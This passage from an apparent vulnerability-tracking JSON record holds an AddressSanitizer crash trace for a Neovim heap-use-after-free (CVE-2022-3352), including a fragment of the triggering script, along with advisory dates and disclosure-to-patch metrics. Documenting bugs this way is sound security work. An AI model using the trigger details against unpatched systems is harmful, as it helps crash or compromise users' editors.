\"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/0.ascii.spl\"\nnot found in 'runtimepath': \"spell/0.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('0')|set spell\n=================================================================\n==67991==ERROR: AddressSanitizer: heap-use-after-free on address 0x62600000bc58 at pc 0x000000b0e06d bp 0x7ffdaec9c1b0 sp 0x7ffdaec9c1a8\nREAD of size 8 at 0x62600000bc58 thread T0\n    #0 0xb0e06c in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3199:26\n    #1 0xaf54c7 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1785:22\n    #2 0x832204 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:9795:9\n    #3 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #4 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #5 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #6 0x70543c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6861:3\n    #7 0x677da5 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6373:11\n    #8 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #9 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #13 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #14 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #15 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #16 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #17 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #18 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #19 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #20 0x7f9fc9fc9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x62600000bc58 is located 11096 bytes inside of 11248-byte region [0x626000009100,0x62600000bcf0)\nfreed by thread T0 here:\n    #0 0x4c721d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c721d)\n    #1 0x9db384 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:133:3\n    #2 0x8cb853 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6973:7\n    #3 0x8afffd in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6576:10\n    #4 0xcd8407 in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1609:14\n    #5 0xcd65cc in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2070:9\n    #6 0xb24332 in did_set_spell_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3556:18\n    #7 0xb0a232 in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2919:14\n    #8 0xaf54c7 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1785:22\n    #9 0x832204 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:9795:9\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #13 0x70543c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6861:3\n    #14 0x677da5 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6373:11\n    #15 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #16 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #17 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #18 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #19 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #20 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #21 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #22 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #23 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #24 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #25 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #26 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #27 0x7f9fc9fc9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4c7612 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c7612)\n    #1 0x9db41e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:147:15\n    #2 0x5c2fb6 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1652:11\n    #3 0x5cd7b6 in buflist_add /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2662:9\n    #4 0x80c652 in alist_add /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6546:7\n    #5 0x80c4a0 in alist_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6517:7\n    #6 0x7d2af7 in do_arglist /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1687:7\n    #7 0x7d05c5 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1911:11\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #11 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #12 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #13 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #14 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #15 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #16 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #17 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #18 0x7f9fc9fc9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3199:26 in did_set_string_option\nShadow bytes around the buggy address:\n  0x0c4c7fff9730: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff9740: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff9750: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff9760: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff9770: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=&gt;0x0c4c7fff9780: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd\n  0x0c4c7fff9790: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa\n  0x0c4c7fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff97c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff97d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==67991==ABORTING", "url": "https://gist.github.com/zhuozhenwei/020dd32768360bdb72d0b9fe4d169dcc"}, {"timestamp": "2026-09-20T14:50:20Z", "date_only": false, "value": "2026-09-20T14:50:20Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:4619-1", "record": "SUSE-SU-2022:4619-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T14:50:20Z", "date_only": false, "value": "2026-09-20T14:50:20Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2022:4619-1", "record": "SUSE-SU-2022:4619-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-20T20:37:20Z", "date_only": false, "value": "2026-09-20T20:37:20Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:12378-1", "record": "OPENSUSE-SU-2024:12378-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T20:37:20Z", "date_only": false, "value": "2026-09-20T20:37:20Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:12378-1", "record": "OPENSUSE-SU-2024:12378-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-10-31T14:15:40.603Z", "date_only": false, "value": "2026-10-31T14:15:40.603823Z", "kind": "milestone", "label": "Published", "source": "cleanstart \u00b7 CLEANSTART-2024-NN89250", "record": "CLEANSTART-2024-NN89250", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}], "metrics": {"as_of": "2026-11-01T20:19:44.585Z", "anchors": {"origin": {"timestamp": "2022-09-02T00:00:00Z", "date_only": false, "value": "2022-09-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2022-09-02T00:00:00Z", "date_only": false, "value": "2022-09-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": {"timestamp": "2022-10-01T00:00:00Z", "date_only": false, "value": "2022-10-01T00:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event"}}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start"]}, "total_time_to_patch": {"available": false, "missing": ["start"]}, "disclosure_to_patch": {"available": true, "seconds": 2505600.0, "hours": 696.0, "days": 29.0, "min_seconds": 2419200.0, "max_seconds": 2592000.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-09-02T00:00:00Z", "date_only": false, "value": "2022-09-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-10-01T00:00:00Z", "date_only": false, "value": "2022-10-01T00:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event"}}, "time_unpatched": {"available": true, "seconds": 2505600.0, "hours": 696.0, "days": 29.0, "min_seconds": 2419200.0, "max_seconds": 2592000.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-09-02T00:00:00Z", "date_only": false, "value": "2022-09-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-10-01T00:00:00Z", "date_only": false, "value": "2022-10-01T00:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3352", "record": "MSRC_CVE-2022-3352", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}
